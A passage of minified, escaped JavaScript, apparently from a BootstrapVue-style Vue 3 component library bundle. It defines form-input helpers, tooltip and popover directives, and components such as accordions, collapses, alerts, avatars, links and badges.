e).join(\"-\").toLowerCase()),t),[]),Js=(e=\"\")=>`__BVID__${Math.random().toString().slice(2,8)}___BV_${e}__`,eu=(e,t)=>!0===e||\"true\"===e||\"\"===e?\"true\":\"grammar\"===e||\"spelling\"===e?e:!1===t?\"true\":!1===e||\"false\"===e?\"false\":void 0,tu=e=>!!e&&\"object\"==typeof e&&e.constructor===Object,nu=(e,t,n=!0)=>{const r=e instanceof Date&&\"function\"==typeof e.getMonth?new Date(e.getTime()):Object.assign({},e);return tu(e)&&tu(t)&&Object.keys(t).forEach(a=>{tu(t[a])?a in e?r[a]=nu(e[a],t[a],n):Object.assign(r,{[a]:t[a]}):Array.isArray(t[a])&&Array.isArray(e[a])?Object.assign(r,{[a]:n?e[a].concat(t[a].filter(t=>!e[a].includes(t))):t[a]}):Object.assign(r,{[a]:t[a]})}),r},ru=(e,t={},n={})=>{const r=[e];let a;for(let o=0;o\u003Cr.length&&!a;o++){const e=r[o];a=n[e]}return a&&\"function\"==typeof a?a(t):a},au=(e,t=NaN)=>Number.isInteger(e)?e:t,ou=(e,t=NaN)=>{const n=Number.parseInt(e,10);return Number.isNaN(n)?t:n},iu=(e,t=NaN)=>{const n=Number.parseFloat(e.toString());return Number.isNaN(n)?t:n},lu=(e,t)=>t+(e?Ts(e):\"\"),su=(e,t)=>(Array.isArray(t)?t.slice():Object.keys(t)).reduce((t,n)=>(t[n]=e[n],t),{}),uu=e=>\"boolean\"==typeof e?e:\"\"===e||\"true\"===e,du=e=>!(!e.href&&!e.to);function cu(e){return(0,a.EW)(()=>void 0===e.value?void 0:uu(e.value))}const fu=Symbol(),pu={items:(0,o.Kh)([]),reset(){this.items=(0,o.Kh)([])}},hu=e=>{e.provide(fu,pu)},vu=()=>{const e=(0,a.WQ)(fu);return e||pu},mu=(e,t,n)=>{(0,a.sV)(()=>{var r;null==(r=null==e?void 0:e.value)||r.addEventListener(t,n)}),(0,a.xo)(()=>{var r;null==(r=null==e?void 0:e.value)||r.removeEventListener(t,n)})},gu=e=>(0,a.EW)(()=>({\"form-check\":!e.plain&&!e.button,\"form-check-inline\":e.inline,\"form-switch\":e.switch,[`form-control-${e.size}`]:e.size&&\"md\"!==e.size})),yu=e=>(0,a.EW)(()=>({\"form-check-input\":!e.plain&&!e.button,\"is-valid\":!0===e.state,\"is-invalid\":!1===e.state,\"btn-check\":e.button})),bu=e=>(0,a.EW)(()=>({\"form-check-label\":!e.plain&&!e.button,btn:e.button,[`btn-${e.buttonVariant}`]:e.button,[`btn-${e.size}`]:e.button&&e.size&&\"md\"!==e.size})),$u=e=>(0,a.EW)(()=>{var t;return{\"aria-invalid\":eu(e.ariaInvalid,e.state),\"aria-required\":\"true\"===(null==(t=e.required)?void 0:t.toString())?\"true\":null}}),wu=e=>(0,a.EW)(()=>({\"was-validated\":e.validated,\"btn-group\":e.buttons&&!e.stacked,\"btn-group-vertical\":e.stacked,[`btn-group-${e.size}`]:e.size})),_u=(e,t,n)=>e.reduce((e,t)=>\"Symbol(Fragment)\"===t.type.toString()?e.concat(t.children):e.concat([t]),[]).filter(e=>(e.type.__name||e.type.name)===t).map(e=>{const t=(e.children.default?e.children.default():[]).find(e=>\"Symbol(Text)\"===e.type.toString());return{props:{disabled:n,...e.props},text:t?t.children:\"\"}}),ku=(e,t)=>\"string\"==typeof e?{props:{value:e,disabled:t.disabled},text:e}:{props:{value:e[t.valueField],disabled:t.disabled||e[t.disabledField],...e.props},text:e[t.textField],html:e[t.htmlField]},Cu=(e,t,n,r,a)=>({...e,props:{\"button-variant\":n.buttonVariant,form:n.form,name:r.value,id:`${a.value}_option_${t}`,button:n.buttons,state:n.state,plain:n.plain,size:n.size,inline:!n.stacked,required:n.required,...e.props}}),xu=(e,t)=>(0,a.EW)(()=>(null==e?void 0:e.value)||Js(t)),Su={ariaInvalid:{type:[Boolean,String],default:void 0},autocomplete:{type:String,required:!1},autofocus:{type:Boolean,default:!1},disabled:{type:Boolean,default:!1},form:{type:String,required:!1},formatter:{type:Function,required:!1},id:{type:String,required:!1},lazy:{type:Boolean,default:!1},lazyFormatter:{type:Boolean,default:!1},list:{type:String,required:!1},modelValue:{type:[String,Number],default:\"\"},name:{type:String,required:!1},number:{type:Boolean,default:!1},placeholder:{type:String,required:!1},plaintext:{type:Boolean,default:!1},readonly:{type:Boolean,default:!1},required:{type:Boolean,default:!1},size:{type:String,required:!1},state:{type:Boolean,default:null},trim:{type:Boolean,default:!1}},Eu=(e,t)=>{const n=(0,o.KR)();let r=null,i=!0;const l=xu((0,o.lW)(e,\"id\"),\"input\"),s=(t,n,r=!1)=>(t=String(t),\"function\"!=typeof e.formatter||e.lazyFormatter&&!r?t:(i=!1,e.formatter(t,n))),u=t=>e.trim?t.trim():e.number?Number.parseFloat(t):t,d=()=>{(0,a.dY)(()=>{var t;e.autofocus&&(null==(t=n.value)||t.focus())})};(0,a.sV)(d),(0,a.sV)(()=>{n.value&&(n.value.value=e.modelValue)}),(0,a.n)(d);const c=(0,a.EW)(()=>{var t;return eu(e.ariaInvalid,null!=(t=e.state)?t:void 0)}),f=n=>{const{value:a}=n.target,o=s(a,n);if(!1===o||n.defaultPrevented)return void n.preventDefault();if(e.lazy)return;const i=u(o);e.modelValue!==i&&(r=a,t(\"update:modelValue\",i)),t(\"input\",o)},p=n=>{const{value:a}=n.target,o=s(a,n);if(!1===o||n.defaultPrevented)return void n.preventDefault();if(!e.lazy)return;r=a,t(\"update:modelValue\",o);const i=u(o);e.modelValue!==i&&t(\"change\",o)},h=n=>{if(t(\"blur\",n),!e.lazy&&!e.lazyFormatter)return;const{value:a}=n.target,o=s(a,n,!0);r=a,t(\"update:modelValue\",o)},v=()=>{var t;e.disabled||null==(t=n.value)||t.focus()},m=()=>{var t;e.disabled||null==(t=n.value)||t.blur()};return(0,a.wB)(()=>e.modelValue,e=>{!n.value||(n.value.value=r&&i?r:e,r=null,i=!0)}),{input:n,computedId:l,computedAriaInvalid:c,onInput:f,onChange:p,onBlur:h,focus:v,blur:m}},Tu=(e,t)=>{if(!e)return e;if(t in e)return e[t];const n=t.split(\".\");return Tu(e[n[0]],n.splice(1).join(\".\"))},Ru=(e,t=null,n,r)=>{if(\"[object Object]\"===Object.prototype.toString.call(e)){const a=Tu(e,r.valueField),o=Tu(e,r.textField),i=Tu(e,r.htmlField),l=Tu(e,r.disabledField),s=e[r.optionsField]||null;return null!==s?{label:String(Tu(e,r.labelField)||o),options:Ou(s,n,r)}:{value:typeof a>\"u\"?t||o:a,text:String(typeof o>\"u\"?t:o),html:i,disabled:Boolean(l)}}return{value:t||e,text:String(e),disabled:!1}},Ou=(e,t,n)=>Array.isArray(e)?e.map(e=>Ru(e,null,t,n)):\"[object Object]\"===Object.prototype.toString.call(e)?(console.warn(`[BootstrapVue warn]: ${t} - Setting prop \"options\" to an object is deprecated. Use the array format instead.`),Object.keys(e).map(r=>{const a=e[r];switch(typeof a){case\"object\":return Ru(a.text,String(a.value),t,n);default:return Ru(a,String(r),t,n)}})):[],Mu=[\"id\"],Au=Symbol(),Du=(0,a.pM)({__name:\"BAccordion\",props:{flush:{default:!1},free:{default:!1},id:null},setup(e){const t=e,n=xu((0,o.lW)(t,\"id\"),\"accordion\"),r=cu((0,o.lW)(t,\"flush\")),l=cu((0,o.lW)(t,\"free\")),s=(0,a.EW)(()=>({\"accordion-flush\":r.value}));return l.value||(0,a.Gt)(Au,n.value.toString()),(e,t)=>((0,a.uX)(),(0,a.CE)(\"div\",{id:(0,o.R1)(n),class:(0,i.C4)([\"accordion\",(0,o.R1)(s)])},[(0,a.RG)(e.$slots,\"default\")],10,Mu))}}),Bu=(0,a.pM)({__name:\"BCollapse\",props:{accordion:null,id:{default:Js()},modelValue:{default:!1},tag:{default:\"div\"},toggle:{default:!1},visible:{default:!1},isNav:{default:!1}},emits:[\"update:modelValue\",\"show\",\"shown\",\"hide\",\"hidden\"],setup(e,{emit:t}){const n=e,r=cu((0,o.lW)(n,\"modelValue\")),l=cu((0,o.lW)(n,\"toggle\")),s=cu((0,o.lW)(n,\"visible\")),u=cu((0,o.lW)(n,\"isNav\")),d=(0,o.KR)(),c=(0,o.KR)(),f=(0,a.EW)(()=>({show:r.value,\"navbar-collapse\":u.value})),p=()=>t(\"update:modelValue\",!1);return mu(d,\"show.bs.collapse\",()=>{t(\"show\"),t(\"update:modelValue\",!0)}),mu(d,\"hide.bs.collapse\",()=>{t(\"hide\"),t(\"update:modelValue\",!1)}),mu(d,\"shown.bs.collapse\",()=>t(\"shown\")),mu(d,\"hidden.bs.collapse\",()=>t(\"hidden\")),(0,a.sV)(()=>{var e;c.value=new Qr(d.value,{parent:n.accordion?`#${n.accordion}`:void 0,toggle:l.value}),(s.value||r.value)&&(t(\"update:modelValue\",!0),null==(e=c.value)||e.show())}),(0,a.wB)(()=>r.value,e=>{var t,n;e?null==(t=c.value)||t.show():null==(n=c.value)||n.hide()}),(0,a.wB)(()=>s.value,e=>{var n,r;e?(t(\"update:modelValue\",!!e),null==(n=c.value)||n.show()):(t(\"update:modelValue\",!!e),null==(r=c.value)||r.hide())}),(t,n)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),{id:e.id,ref_key:\"element\",ref:d,class:(0,i.C4)([\"collapse\",(0,o.R1)(f)]),\"data-bs-parent\":e.accordion||null,\"is-nav\":(0,o.R1)(u)},{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"default\",{visible:(0,o.R1)(r),close:p})]),_:3},8,[\"id\",\"class\",\"data-bs-parent\",\"is-nav\"]))}}),Wu={mounted(e,t){let n=t.value;Object.keys(t.modifiers).length>0&&([n]=Object.keys(t.modifiers)),e.setAttribute(\"data-bs-toggle\",\"modal\"),e.setAttribute(\"data-bs-target\",`#${n}`)}},Pu={mounted(e,t){let n=\"right\";const r=[];t.modifiers.left?n=\"left\":t.modifiers.right?n=\"right\":t.modifiers.bottom?n=\"bottom\":t.modifiers.top&&(n=\"top\"),t.modifiers.manual?r.push(\"manual\"):(t.modifiers.click&&r.push(\"click\"),t.modifiers.hover&&r.push(\"hover\"),t.modifiers.focus&&r.push(\"focus\")),e.setAttribute(\"data-bs-toggle\",\"popover\"),new Xi(e,{trigger:0===r.length?\"click\":r.join(\" \"),placement:n,content:t.value})},unmounted(e){const t=Xi.getInstance(e);null==t||t.dispose()}},Iu=e=>{if(e.classList.contains(\"offcanvas\"))return\"offcanvas\";if(e.classList.contains(\"collapse\"))return\"collapse\";throw Error(\"Couldn't resolve toggle type\")},Nu=(e,t)=>{const{modifiers:n,arg:r,value:a}=e,o=Object.keys(n||{}),i=\"string\"==typeof a?a.split(_s):a;if(Ks(t.tagName,\"a\")){const e=Gs(t,\"href\")||\"\";Cs.test(e)&&o.push(e.replace(ks,\"\"))}return Array.prototype.concat.apply([],[r,i]).forEach(e=>\"string\"==typeof e&&o.push(e)),o.filter((e,t,n)=>e&&n.indexOf(e)===t)},Lu={mounted(e,t){const n=Nu(t,e),r=[];let a=\"data-bs-target\";\"a\"===e.tagName&&(a=\"href\");for(let o=0;o\u003Cn.length;o++){const t=n[o],a=document.getElementById(t);a&&(e.setAttribute(\"data-bs-toggle\",Iu(a)),r.push(`#${t}`))}r.length>0&&e.setAttribute(a,r.join(\",\"))}},ju=(e,t)=>{if(null!=t&&t.trigger)return t.trigger;if(e.manual)return\"manual\";const n=[];return e.click&&n.push(\"click\"),e.hover&&n.push(\"hover\"),e.focus&&n.push(\"focus\"),n.length>0?n.join(\" \"):\"hover focus\"},Fu=(e,t)=>null!=t&&t.placement?t.placement:e.left?\"left\":e.right?\"right\":e.bottom?\"bottom\":\"top\",Vu=e=>null!=e&&e.delay?e.delay:0,Uu=e=>\"object\"==typeof e?null==e?void 0:e.title:e,Xu={beforeMount(e,t){e.setAttribute(\"data-bs-toggle\",\"tooltip\"),e.getAttribute(\"title\")||e.setAttribute(\"title\",Uu(t.value).toString());const n=\u002F\u003C(\"[^\"]*\"|'[^']*'|[^'\">])*>\u002F.test(e.title),r=ju(t.modifiers,t.value),a=Fu(t.modifiers,t.value),o=Vu(t.value),i=e.getAttribute(\"title\");new Ni(e,{trigger:r,placement:a,delay:o,html:n}),i&&e.setAttribute(\"data-bs-original-title\",i)},updated(e,t){e.getAttribute(\"title\")||e.setAttribute(\"title\",Uu(t.value).toString());const n=e.getAttribute(\"title\"),r=e.getAttribute(\"data-bs-original-title\"),a=Ni.getInstance(e);e.removeAttribute(\"title\"),n&&n!==r&&(null==a||a.setContent({\".tooltip-inner\":n}),e.setAttribute(\"data-bs-original-title\",n))},unmounted(e){const t=Ni.getInstance(e);null==t||t.dispose()}},Hu=new Map,Gu=e=>{if(Hu.has(e)){const t=Hu.get(e);t&&t.stop&&t.stop(),Hu.delete(e)}},Yu=(e,t)=>{const n={margin:\"0px\",once:!1,callback:t.value};Object.keys(t.modifiers).forEach(e=>{Number.isInteger(e)?n.margin=`${e}px`:\"once\"===e.toLowerCase()&&(n.once=!0)}),Gu(e);const r=new Ku(e,n.margin,n.once,n.callback,t.instance);Hu.set(e,r)},zu={beforeMount(e,t){Yu(e,t)},updated(e,t){Yu(e,t)},unmounted(e){Gu(e)}};class Ku{constructor(e,t,n,r,a){ss(this,\"element\"),ss(this,\"margin\"),ss(this,\"once\"),ss(this,\"callback\"),ss(this,\"instance\"),ss(this,\"observer\"),ss(this,\"doneOnce\"),ss(this,\"visible\"),this.element=e,this.margin=t,this.once=n,this.callback=r,this.instance=a,this.createObserver()}createObserver(){if(this.observer&&this.stop(),!this.doneOnce&&\"function\"==typeof this.callback){try{this.observer=new IntersectionObserver(this.handler.bind(this),{root:null,rootMargin:this.margin,threshold:0})}catch{return console.error(\"Intersection Observer not supported\"),this.doneOnce=!0,this.observer=void 0,void this.callback(null)}this.instance.$nextTick(()=>{this.observer&&this.observer.observe(this.element)})}}handler(e){const[t]=e,n=Boolean(t.isIntersecting||t.intersectionRatio>0);n!==this.visible&&(this.visible=n,this.callback(n),this.once&&this.visible&&(this.doneOnce=!0,this.stop()))}stop(){this.observer&&this.observer.disconnect(),this.observer=null}}const qu={mounted(e,t){!1!==t.value&&e.focus()}},Qu={BModal:Wu,BPopover:Pu,BToggle:Lu,BTooltip:Xu,BVisible:zu,focus:qu},Zu={class:\"accordion-item\"},Ju=[\"id\"],ed=[\"aria-expanded\",\"aria-controls\"],td={class:\"accordion-body\"},nd=(0,a.pM)({__name:\"BAccordionItem\",props:{id:null,title:null,visible:{default:!1}},setup(e){const t=e,n=cu((0,o.lW)(t,\"visible\")),r=xu((0,o.lW)(t,\"id\"),\"accordion_item\"),l=(0,a.WQ)(Au,\"\");return(t,s)=>((0,a.uX)(),(0,a.CE)(\"div\",Zu,[(0,a.Lk)(\"h2\",{id:`${(0,o.R1)(r)}heading`,class:\"accordion-header\"},[(0,a.bo)(((0,a.uX)(),(0,a.CE)(\"button\",{class:(0,i.C4)([\"accordion-button\",{collapsed:!(0,o.R1)(n)}]),type:\"button\",\"aria-expanded\":(0,o.R1)(n)?\"true\":\"false\",\"aria-controls\":(0,o.R1)(r)},[(0,a.RG)(t.$slots,\"title\",{},()=>[(0,a.eW)((0,i.v_)(e.title),1)])],10,ed)),[[(0,o.R1)(Lu),void 0,(0,o.R1)(r)]])],8,Ju),(0,a.bF)(Bu,{id:(0,o.R1)(r),class:\"accordion-collapse\",visible:(0,o.R1)(n),accordion:(0,o.R1)(l),\"aria-labelledby\":`heading${(0,o.R1)(r)}`},{default:(0,a.k6)(()=>[(0,a.Lk)(\"div\",td,[(0,a.RG)(t.$slots,\"default\")])]),_:3},8,[\"id\",\"visible\",\"accordion\",\"aria-labelledby\"])]))}}),rd=[\"type\",\"disabled\",\"aria-label\"],ad=(0,a.pM)({__name:\"BCloseButton\",props:{ariaLabel:{default:\"Close\"},disabled:{default:!1},white:{default:!1},type:{default:\"button\"}},emits:[\"click\"],setup(e,{emit:t}){const n=e,r=cu((0,o.lW)(n,\"disabled\")),l=cu((0,o.lW)(n,\"white\")),s=(0,a.EW)(()=>({\"btn-close-white\":l.value}));return(n,l)=>((0,a.uX)(),(0,a.CE)(\"button\",{type:e.type,class:(0,i.C4)([\"btn-close\",(0,o.R1)(s)]),disabled:(0,o.R1)(r),\"aria-label\":e.ariaLabel,onClick:l[0]||(l[0]=e=>t(\"click\",e))},null,10,rd))}}),od=(0,a.pM)({__name:\"BAlert\",props:{dismissLabel:{default:\"Close\"},dismissible:{default:!1},fade:{default:!1},modelValue:{type:[Boolean,Number],default:!1},show:{default:!1},variant:{default:\"info\"}},emits:[\"closed\",\"close-count-down\",\"update:modelValue\"],setup(e,{emit:t}){const n=e,r=cu((0,o.lW)(n,\"dismissible\"));cu((0,o.lW)(n,\"fade\"));const l=cu((0,o.lW)(n,\"show\")),s=(0,o.KR)(null),u=(0,o.KR)(),d=(0,a.EW)(()=>({[`alert-${n.variant}`]:!!n.variant,show:!!n.modelValue,\"alert-dismissible\":r.value,fade:!!n.modelValue}));let c;const f=e=>{if(\"boolean\"==typeof e)return 0;const t=au(e,0);return t>0?t:0},p=()=>{void 0!==c&&(clearTimeout(c),c=void 0)},h=(0,o.KR)(f(n.modelValue)),v=(0,a.EW)(()=>!!n.modelValue||l.value);(0,a.xo)(()=>{var e;p(),null==(e=u.value)||e.dispose(),u.value=void 0});const m=(0,a.EW)(()=>!0===n.modelValue||!(!1===n.modelValue||au(n.modelValue,0)\u003C1)&&!!n.modelValue),g=()=>{h.value=f(n.modelValue),(m.value||l.value)&&!u.value&&(u.value=new Cn(s.value))},y=()=>{\"boolean\"==typeof n.modelValue?t(\"update:modelValue\",!1):t(\"update:modelValue\",0),t(\"closed\")};return(0,a.wB)(()=>n.modelValue,g),(0,a.wB)(()=>l.value,g),(0,a.wB)(h,e=>{p(),\"boolean\"!=typeof n.modelValue&&(t(\"close-count-down\",e),0===e&&n.modelValue>0&&t(\"closed\"),n.modelValue!==e&&t(\"update:modelValue\",e),e>0&&(c=setTimeout(()=>{h.value--},1e3)))}),(t,n)=>(0,o.R1)(v)?((0,a.uX)(),(0,a.CE)(\"div\",{key:0,ref_key:\"element\",ref:s,class:(0,i.C4)([\"alert\",(0,o.R1)(d)]),role:\"alert\"},[(0,a.RG)(t.$slots,\"default\"),(0,o.R1)(r)?((0,a.uX)(),(0,a.CE)(a.FK,{key:0},[t.$slots.close?((0,a.uX)(),(0,a.CE)(\"button\",{key:0,type:\"button\",\"data-bs-dismiss\":\"alert\",onClick:y},[(0,a.RG)(t.$slots,\"close\")])):((0,a.uX)(),(0,a.Wv)(ad,{key:1,\"aria-label\":e.dismissLabel,\"data-bs-dismiss\":\"alert\",onClick:y},null,8,[\"aria-label\"]))],64)):(0,a.Q3)(\"\",!0)],2)):(0,a.Q3)(\"\",!0)}}),id=Symbol(),ld=(0,a.pM)({__name:\"BAvatarGroup\",props:{overlap:{default:.3},rounded:{type:[Boolean,String],default:!1},size:null,square:{default:!1},tag:{default:\"div\"},variant:null},setup(e){const t=e,n=cu((0,o.lW)(t,\"square\")),r=(0,a.EW)(()=>cd(t.size)),l=e=>\"string\"==typeof e&&ms(e)?iu(e,0):e||0,s=(0,a.EW)(()=>Math.min(Math.max(l(t.overlap),0),1)\u002F2),u=(0,a.EW)(()=>{const e=r.value?`calc(${r.value} * ${s.value})`:null;return e?{paddingLeft:e,paddingRight:e}:{}});return(0,a.Gt)(id,{overlapScale:s,size:t.size,square:n.value,rounded:t.rounded,variant:t.variant}),(t,n)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),{class:\"b-avatar-group\",role:\"group\"},{default:(0,a.k6)(()=>[(0,a.Lk)(\"div\",{class:\"b-avatar-group-inner\",style:(0,i.Tr)((0,o.R1)(u))},[(0,a.RG)(t.$slots,\"default\")],4)]),_:3}))}}),sd={key:0,class:\"b-avatar-custom\"},ud={key:1,class:\"b-avatar-img\"},dd=[\"src\",\"alt\"],cd=e=>{const t=\"string\"==typeof e&&ms(e)?iu(e,0):e;return\"number\"==typeof t?`${t}px`:t||null},fd=(0,a.pM)({__name:\"BAvatar\",props:{alt:{default:\"avatar\"},ariaLabel:null,badge:{type:[Boolean,String],default:!1},badgeLeft:{default:!1},badgeOffset:null,badgeTop:{default:!1},badgeVariant:{default:\"primary\"},button:{default:!1},buttonType:{default:\"button\"},disabled:{default:!1},icon:null,rounded:{type:[Boolean,String],default:\"circle\"},size:null,square:{default:!1},src:null,text:null,textVariant:{default:void 0},variant:{default:\"secondary\"}},emits:[\"click\",\"img-error\"],setup(e,{emit:t}){const n=e,r=cu((0,o.lW)(n,\"badgeLeft\")),l=cu((0,o.lW)(n,\"badgeTop\")),s=cu((0,o.lW)(n,\"button\")),u=cu((0,o.lW)(n,\"disabled\")),d=cu((0,o.lW)(n,\"square\")),c=(0,a.Ht)(),f=[\"sm\",null,\"lg\"],p=.4,h=.7*p,v=(0,a.WQ)(id,null),m=e=>{const t=e;return\"light\"===t||\"warning\"===t?\"dark\":\"light\"},g=(0,a.EW)(()=>!Us(c.default)),y=(0,a.EW)(()=>!Us(c.badge)),b=(0,a.EW)(()=>n.badge||\"\"===n.badge||y.value),$=(0,a.EW)(()=>null!=v&&v.size?v.size:cd(n.size)),w=(0,a.EW)(()=>null!=v&&v.variant?v.variant:n.variant),_=(0,a.EW)(()=>null!=v&&v.rounded?v.rounded:n.rounded),k=(0,a.EW)(()=>({type:s.value?n.buttonType:void 0,\"aria-label\":n.ariaLabel||null,disabled:u.value||null})),C=(0,a.EW)(()=>({[`bg-${n.badgeVariant}`]:!!n.badgeVariant})),x=(0,a.EW)(()=>!0===n.badge?\"\":n.badge),S=(0,a.EW)(()=>`text-${m(n.badgeVariant)}`),E=(0,a.EW)(()=>({[`b-avatar-${n.size}`]:!!n.size&&-1!==f.indexOf(cd(n.size)),[`bg-${w.value}`]:!!w.value,badge:!s.value&&w.value&&g.value,rounded:\"\"===_.value||!0===_.value,[\"rounded-circle\"]:!d.value&&\"circle\"===_.value,[\"rounded-0\"]:d.value||\"0\"===_.value,[\"rounded-1\"]:!d.value&&\"sm\"===_.value,[\"rounded-3\"]:!d.value&&\"lg\"===_.value,[\"rounded-top\"]:!d.value&&\"top\"===_.value,[\"rounded-bottom\"]:!d.value&&\"bottom\"===_.value,[\"rounded-start\"]:!d.value&&\"left\"===_.value,[\"rounded-end\"]:!d.value&&\"right\"===_.value,btn:s.value,[`btn-${w.value}`]:!!s.value&&!!w.value})),T=(0,a.EW)(()=>`text-${n.textVariant||m(w.value)}`),R=(0,a.EW)(()=>{const e=n.badgeOffset||\"0px\";return{fontSize:(-1===f.indexOf($.value||null)?`calc(${$.value} * ${h})`:\"\")||\"\",top:l.value?e:\"\",bottom:l.value?\"\":e,left:r.value?e:\"\",right:r.value?\"\":e}}),O=(0,a.EW)(()=>{const e=-1===f.indexOf($.value||null)?`calc(${$.value} * ${p})`:null;return e?{fontSize:e}:{}}),M=(0,a.EW)(()=>{var e;const t=(null==(e=null==v?void 0:v.overlapScale)?void 0:e.value)||0,n=$.value&&t?`calc(${$.value} * -${t})`:null;return n?{marginLeft:n,marginRight:n}:{}}),A=(0,a.EW)(()=>s.value?\"button\":\"span\"),D=(0,a.EW)(()=>({...M.value,width:$.value,height:$.value})),B=e=>{!u.value&&s.value&&t(\"click\",e)},W=e=>t(\"img-error\",e);return(t,n)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)((0,o.R1)(A)),(0,a.v6)({class:[\"b-avatar\",(0,o.R1)(E)],style:(0,o.R1)(D)},(0,o.R1)(k),{onClick:B}),{default:(0,a.k6)(()=>[(0,o.R1)(g)?((0,a.uX)(),(0,a.CE)(\"span\",sd,[(0,a.RG)(t.$slots,\"default\")])):e.src?((0,a.uX)(),(0,a.CE)(\"span\",ud,[(0,a.Lk)(\"img\",{src:e.src,alt:e.alt,onError:W},null,40,dd)])):e.text?((0,a.uX)(),(0,a.CE)(\"span\",{key:2,class:(0,i.C4)([\"b-avatar-text\",(0,o.R1)(T)]),style:(0,i.Tr)((0,o.R1)(O))},(0,i.v_)(e.text),7)):(0,a.Q3)(\"\",!0),(0,o.R1)(b)?((0,a.uX)(),(0,a.CE)(\"span\",{key:3,class:(0,i.C4)([\"b-avatar-badge\",(0,o.R1)(C)]),style:(0,i.Tr)((0,o.R1)(R))},[(0,o.R1)(y)?(0,a.RG)(t.$slots,\"badge\",{key:0}):((0,a.uX)(),(0,a.CE)(\"span\",{key:1,class:(0,i.C4)((0,o.R1)(S))},(0,i.v_)((0,o.R1)(x)),3))],6)):(0,a.Q3)(\"\",!0)]),_:3},16,[\"class\",\"style\"]))}}),pd={active:{type:[Boolean,String],default:!1},activeClass:{type:String,default:\"router-link-active\"},append:{type:[Boolean,String],default:!1},disabled:{type:[Boolean,String],default:!1},event:{type:[String,Array],default:\"click\"},exact:{type:[Boolean,String],default:!1},exactActiveClass:{type:String,default:\"router-link-exact-active\"},href:{type:String},rel:{type:String,default:null},replace:{type:[Boolean,String],default:!1},routerComponentName:{type:String,default:\"router-link\"},routerTag:{type:String,default:\"a\"},target:{type:String,default:\"_self\"},to:{type:[String,Object],default:null}},hd=(0,a.pM)({props:pd,emits:[\"click\"],setup(e,{emit:t,attrs:n}){const r=cu((0,o.lW)(e,\"active\")),i=cu((0,o.lW)(e,\"append\")),l=cu((0,o.lW)(e,\"disabled\")),s=cu((0,o.lW)(e,\"exact\")),u=cu((0,o.lW)(e,\"replace\")),d=(0,a.nI)(),c=(0,o.KR)(null),f=(0,a.EW)(()=>{const t=e.routerComponentName.split(\"-\").map(e=>e.charAt(0).toUpperCase()+e.slice(1)).join(\"\");return void 0===(null==d?void 0:d.appContext.app.component(t))||l.value||!e.to?\"a\":e.routerComponentName}),p=(0,a.EW)(()=>{const t=\"#\";if(e.href)return e.href;if(\"string\"==typeof e.to)return e.to||t;const n=e.to;if(\"[object Object]\"===Object.prototype.toString.call(n)&&(n.path||n.query||n.hash)){const e=n.path||\"\",r=n.query?`?${Object.keys(n.query).map(e=>`${e}=${n.query[e]}`).join(\"=\")}`:\"\",a=n.hash&&\"#\"!==n.hash.charAt(0)?`#${n.hash}`:n.hash||\"\";return`${e}${r}${a}`||t}return t}),h=(0,a.EW)(()=>({to:e.to,href:p.value,target:e.target,rel:\"_blank\"===e.target&&null===e.rel?\"noopener\":e.rel||null,tabindex:l.value?\"-1\":typeof n.tabindex>\"u\"?null:n.tabindex,\"aria-disabled\":l.value?\"true\":null}));return{tag:f,routerAttr:h,link:c,clicked:e=>{if(l.value)return e.preventDefault(),void e.stopImmediatePropagation();t(\"click\",e)},activeBoolean:r,appendBoolean:i,disabledBoolean:l,replaceBoolean:u,exactBoolean:s}}}),vd=(e,t)=>{const n=e.__vccOpts||e;for(const[r,a]of t)n[r]=a;return n};function md(e,t,n,r,o,i){return\"router-link\"===e.tag?((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),(0,a.v6)({key:0},e.routerAttr,{custom:\"\"}),{default:(0,a.k6)(({href:t,navigate:n,isActive:r,isExactActive:o})=>[((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.routerTag),(0,a.v6)({ref:\"link\",href:t,class:[(r||e.activeBoolean)&&e.activeClass,(o||e.exactBoolean)&&e.exactActiveClass]},e.$attrs,{onClick:n}),{default:(0,a.k6)(()=>[(0,a.RG)(e.$slots,\"default\")]),_:2},1040,[\"href\",\"class\",\"onClick\"]))]),_:3},16)):((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),(0,a.v6)({key:1,ref:\"link\",class:{active:e.activeBoolean,disabled:e.disabledBoolean}},e.routerAttr,{onClick:e.clicked}),{default:(0,a.k6)(()=>[(0,a.RG)(e.$slots,\"default\")]),_:3},16,[\"class\",\"onClick\"]))}const gd=vd(hd,[[\"render\",md]]),yd=ds(pd,[\"event\",\"routerTag\"]),bd=(0,a.pM)({components:{BLink:gd},props:{pill:{type:[Boolean,String],default:!1},tag:{type:String,default:\"span\"},variant:{type:String,default:\"secondary\"},textIndicator:{type:[Boolean,String],default:!1},dotIndicator:{type:[Boolean,String],default:!1},...yd},setup(e){const t=(0,a.EW)(()=>du(e)),n=(0,a.EW)(()=>t.value?gd:e.tag),r=cu((0,o.lW)(e,\"pill\")),i=cu((0,o.lW)(e,\"textIndicator\")),l=cu((0,o.lW)(e,\"dotIndicator\"));return{classes:(0,a.EW)(()=>({[`bg-${e.variant}`]:e.variant,active:e.active,disabled:e.disabled,\"text-dark\":[\"warning\",\"info\",\"light\"].includes(e.variant),\"rounded-pill\":r.value,\"position-absolute top-0 start-100 translate-middle\":i.value||l.value,\"p-2 border border-light rounded-circle\":l.value,\"text-decoration-none\":t.value})),props:t.value?su(e,yd):{},computedTag:n}}});function $d(e,t,n,r,o,i){return(0,a.uX)(),(0,a.Wv)((0,a.$y)(e.computedTag),(0,a.v6)({class:[\"badge\",e.classes]},e.props),{default:(0,a.k6)(()=>[(0,a.RG)(e.$slots,\"default\")]),_:3},16,[\"class\"])}const wd=vd(bd,[[\"render\",$d]]),_d=ds(pd,[\"event\",\"routerTag\"]),kd=(0,a.pM)({components:{BLink:gd},props:{..._d,active:{type:[Boolean,String],default:!1},ariaCurrent:{type:String,default:\"location\"},disabled:{type:[Boolean,String],default:!1},text:{type:String,required:!1}},emits:[\"click\"],setup(e,{emit:t}){const n=cu((0,o.lW)(e,\"active\")),r=cu((0,o.lW)(e,\"disabled\")),i=(0,a.EW)(()=>({active:n.value})),l=(0,a.EW)(()=>n.value?\"span\":gd),s=(0,a.EW)(()=>n.value?e.ariaCurrent:void 0),u=e=>{if(r.value||n.value)return e.preventDefault(),void 